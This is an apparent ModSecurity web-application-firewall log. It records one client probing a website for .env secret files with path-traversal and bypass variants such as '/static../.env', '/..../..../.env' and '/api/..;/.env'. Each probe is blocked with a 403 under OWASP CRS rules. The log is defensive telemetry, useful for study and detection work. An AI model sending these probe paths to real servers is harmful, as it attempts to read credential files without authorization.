[Mon Oct 26 09:23:14.467973 2026] [security2:error] [pid 3026993:tid 3026993] [client 34.77.78.138:49800] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /static../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "zacson2.sherwinpinturas.com"] [uri "/static../.env"] [unique_id "at9UQnJ9l6phwCFrVaFgpgAAAAA"]
[Mon Oct 26 09:23:14.468017 2026] [security2:error] [pid 3026993:tid 3026993] [client 34.77.78.138:49800] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson2.sherwinpinturas.com"] [uri "/static../.env"] [unique_id "at9UQnJ9l6phwCFrVaFgpgAAAAA"]
[Mon Oct 26 09:23:14.468150 2026] [security2:error] [pid 3026993:tid 3026993] [client 34.77.78.138:49800] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson2.sherwinpinturas.com"] [uri "/static../.env"] [unique_id "at9UQnJ9l6phwCFrVaFgpgAAAAA"]
[Mon Oct 26 09:23:14.468368 2026] [security2:error] [pid 3026993:tid 3026993] [client 34.77.78.138:49800] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson2.sherwinpinturas.com"] [uri "/static../.env"] [unique_id "at9UQnJ9l6phwCFrVaFgpgAAAAA"]
[Mon Oct 26 09:23:14.478789 2026] [security2:error] [pid 3034833:tid 3034833] [client 34.77.78.138:49796] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /media../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "zacson2.sherwinpinturas.com"] [uri "/media../.env"] [unique_id "at9UQm8fURIvZEnkWNyOkwAAACs"]
[Mon Oct 26 09:23:14.478833 2026] [security2:error] [pid 3034833:tid 3034833] [client 34.77.78.138:49796] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /media../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "zacson2.sherwinpinturas.com"] [uri "/media../.env"] [unique_id "at9UQm8fURIvZEnkWNyOkwAAACs"]
[Mon Oct 26 09:23:14.478908 2026] [security2:error] [pid 3034833:tid 3034833] [client 34.77.78.138:49796] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson2.sherwinpinturas.com"] [uri "/media../.env"] [unique_id "at9UQm8fURIvZEnkWNyOkwAAACs"]
[Mon Oct 26 09:23:14.479062 2026] [security2:error] [pid 3034833:tid 3034833] [client 34.77.78.138:49796] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson2.sherwinpinturas.com"] [uri "/media../.env"] [unique_id "at9UQm8fURIvZEnkWNyOkwAAACs"]
[Mon Oct 26 09:23:14.479283 2026] [security2:error] [pid 3034833:tid 3034833] [client 34.77.78.138:49796] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson2.sherwinpinturas.com"] [uri "/media../.env"] [unique_id "at9UQm8fURIvZEnkWNyOkwAAACs"]
[Mon Oct 26 09:23:14.534937 2026] [security2:error] [pid 3036062:tid 3036062] [client 34.77.78.138:49780] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /assets../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "zacson2.sherwinpinturas.com"] [uri "/assets../.env"] [unique_id "at9UQi4y9wbCW0XoP8BjSAAAAAI"]
[Mon Oct 26 09:23:14.534982 2026] [security2:error] [pid 3036062:tid 3036062] [client 34.77.78.138:49780] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /assets../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "zacson2.sherwinpinturas.com"] [uri "/assets../.env"] [unique_id "at9UQi4y9wbCW0XoP8BjSAAAAAI"]
[Mon Oct 26 09:23:14.535085 2026] [security2:error] [pid 3036062:tid 3036062] [client 34.77.78.138:49780] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson2.sherwinpinturas.com"] [uri "/assets../.env"] [unique_id "at9UQi4y9wbCW0XoP8BjSAAAAAI"]
[Mon Oct 26 09:23:14.535281 2026] [security2:error] [pid 3036062:tid 3036062] [client 34.77.78.138:49780] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson2.sherwinpinturas.com"] [uri "/assets../.env"] [unique_id "at9UQi4y9wbCW0XoP8BjSAAAAAI"]
[Mon Oct 26 09:23:14.535560 2026] [security2:error] [pid 3036062:tid 3036062] [client 34.77.78.138:49780] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson2.sherwinpinturas.com"] [uri "/assets../.env"] [unique_id "at9UQi4y9wbCW0XoP8BjSAAAAAI"]
[Mon Oct 26 09:23:14.540937 2026] [security2:error] [pid 3015725:tid 3015725] [client 34.77.78.138:49828] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /uploads../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "zacson2.sherwinpinturas.com"] [uri "/uploads../.env"] [unique_id "at9UQgbLerFfv4dhcWT2rAAAAAY"]
[Mon Oct 26 09:23:14.541129 2026] [security2:error] [pid 3015725:tid 3015725] [client 34.77.78.138:49828] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /uploads../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "zacson2.sherwinpinturas.com"] [uri "/uploads../.env"] [unique_id "at9UQgbLerFfv4dhcWT2rAAAAAY"]
[Mon Oct 26 09:23:14.541198 2026] [security2:error] [pid 3015725:tid 3015725] [client 34.77.78.138:49828] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson2.sherwinpinturas.com"] [uri "/uploads../.env"] [unique_id "at9UQgbLerFfv4dhcWT2rAAAAAY"]
[Mon Oct 26 09:23:14.541378 2026] [security2:error] [pid 3015725:tid 3015725] [client 34.77.78.138:49828] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson2.sherwinpinturas.com"] [uri "/uploads../.env"] [unique_id "at9UQgbLerFfv4dhcWT2rAAAAAY"]
[Mon Oct 26 09:23:14.541625 2026] [security2:error] [pid 3015725:tid 3015725] [client 34.77.78.138:49828] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson2.sherwinpinturas.com"] [uri "/uploads../.env"] [unique_id "at9UQgbLerFfv4dhcWT2rAAAAAY"]
[Mon Oct 26 09:23:14.579345 2026] [security2:error] [pid 3015803:tid 3015803] [client 34.77.78.138:49814] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /static/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson2.sherwinpinturas.com"] [uri "/static/app/.env"] [unique_id "at9UQqXMILbsMtUzObzLqgAAAAg"]
[Mon Oct 26 09:23:14.579573 2026] [security2:error] [pid 3015803:tid 3015803] [client 34.77.78.138:49814] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson2.sherwinpinturas.com"] [uri "/static/app/.env"] [unique_id "at9UQqXMILbsMtUzObzLqgAAAAg"]
[Mon Oct 26 09:23:14.579816 2026] [security2:error] [pid 3015803:tid 3015803] [client 34.77.78.138:49814] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson2.sherwinpinturas.com"] [uri "/static/app/.env"] [unique_id "at9UQqXMILbsMtUzObzLqgAAAAg"]
[Mon Oct 26 09:23:14.601131 2026] [security2:error] [pid 3032274:tid 3032274] [client 34.77.78.138:49872] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env/public/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson2.sherwinpinturas.com"] [uri "/api/.env/public/.env"] [unique_id "at9UQimtoTVUWKg0WJJg2QAAABI"]
[Mon Oct 26 09:23:14.601291 2026] [security2:error] [pid 3038660:tid 3038660] [client 34.77.78.138:49888] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /static/../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "zacson2.sherwinpinturas.com"] [uri "/static/..;/.env"] [unique_id "at9UQpRlTJaCWkb9SEGOLQAAAAM"]
[Mon Oct 26 09:23:14.601342 2026] [security2:error] [pid 3032274:tid 3032274] [client 34.77.78.138:49872] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson2.sherwinpinturas.com"] [uri "/api/.env/public/.env"] [unique_id "at9UQimtoTVUWKg0WJJg2QAAABI"]
[Mon Oct 26 09:23:14.601399 2026] [security2:error] [pid 3038660:tid 3038660] [client 34.77.78.138:49888] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /static/..;/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson2.sherwinpinturas.com"] [uri "/static/..;/.env"] [unique_id "at9UQpRlTJaCWkb9SEGOLQAAAAM"]
[Mon Oct 26 09:23:14.601560 2026] [security2:error] [pid 3032274:tid 3032274] [client 34.77.78.138:49872] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson2.sherwinpinturas.com"] [uri "/api/.env/public/.env"] [unique_id "at9UQimtoTVUWKg0WJJg2QAAABI"]
[Mon Oct 26 09:23:14.601601 2026] [security2:error] [pid 3038660:tid 3038660] [client 34.77.78.138:49888] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson2.sherwinpinturas.com"] [uri "/static/..;/.env"] [unique_id "at9UQpRlTJaCWkb9SEGOLQAAAAM"]
[Mon Oct 26 09:23:14.602009 2026] [security2:error] [pid 3038660:tid 3038660] [client 34.77.78.138:49888] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson2.sherwinpinturas.com"] [uri "/static/..;/.env"] [unique_id "at9UQpRlTJaCWkb9SEGOLQAAAAM"]
[Mon Oct 26 09:23:14.603187 2026] [security2:error] [pid 3026993:tid 3026993] [client 34.77.78.138:49800] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /..../..../..../..../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "zacson2.sherwinpinturas.com"] [uri "/..../..../..../..../.env"] [unique_id "at9UQnJ9l6phwCFrVaFgpwAAAAA"]
[Mon Oct 26 09:23:14.603240 2026] [security2:error] [pid 3026993:tid 3026993] [client 34.77.78.138:49800] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /..../..../..../..../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "zacson2.sherwinpinturas.com"] [uri "/..../..../..../..../.env"] [unique_id "at9UQnJ9l6phwCFrVaFgpwAAAAA"]
[Mon Oct 26 09:23:14.603287 2026] [security2:error] [pid 3026993:tid 3026993] [client 34.77.78.138:49800] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson2.sherwinpinturas.com"] [uri "/..../..../..../..../.env"] [unique_id "at9UQnJ9l6phwCFrVaFgpwAAAAA"]
[Mon Oct 26 09:23:14.603419 2026] [security2:error] [pid 3026993:tid 3026993] [client 34.77.78.138:49800] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson2.sherwinpinturas.com"] [uri "/..../..../..../..../.env"] [unique_id "at9UQnJ9l6phwCFrVaFgpwAAAAA"]
[Mon Oct 26 09:23:14.603484 2026] [security2:error] [pid 3038094:tid 3038094] [client 34.77.78.138:49908] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /api/../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "zacson2.sherwinpinturas.com"] [uri "/api/..;/.env"] [unique_id "at9UQiDXv2cbhXnDw02Q0gAAAAU"]
[Mon Oct 26 09:23:14.603570 2026] [security2:error] [pid 3038094:tid 3038094] [client 34.77.78.138:49908] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/..;/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson2.sherwinpinturas.com"] [uri "/api/..;/.env"] [unique_id "at9UQiDXv2cbhXnDw02Q0gAAAAU"]
[Mon Oct 26 09:23:14.603650 2026] [security2:error] [pid 3026993:tid 3026993] [client 34.77.78.138:49800] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson2.sherwinpinturas.com"] [uri "/..../..../..../..../.env"] [unique_id "at9UQnJ9l6phwCFrVaFgpwAAAAA"]
[Mon Oct 26 09:23:14.603705 2026] [security2:error] [pid 3038094:tid 3038094] [client 34.77.78.138:49908] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson2.sherwinpinturas.com"] [uri "/api/..;/.env"] [unique_id "at9UQiDXv2cbhXnDw02Q0gAAAAU"]
[Mon Oct 26 09:23:14.603952 2026] [security2:error] [pid 3038094:tid 3038094] [client 34.77.78.138:49908] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson2.sherwinpinturas.com"] [uri "/api/..;/.env"] [unique_id "at9UQiDXv2cbhXnDw02Q0gAAAAU"]
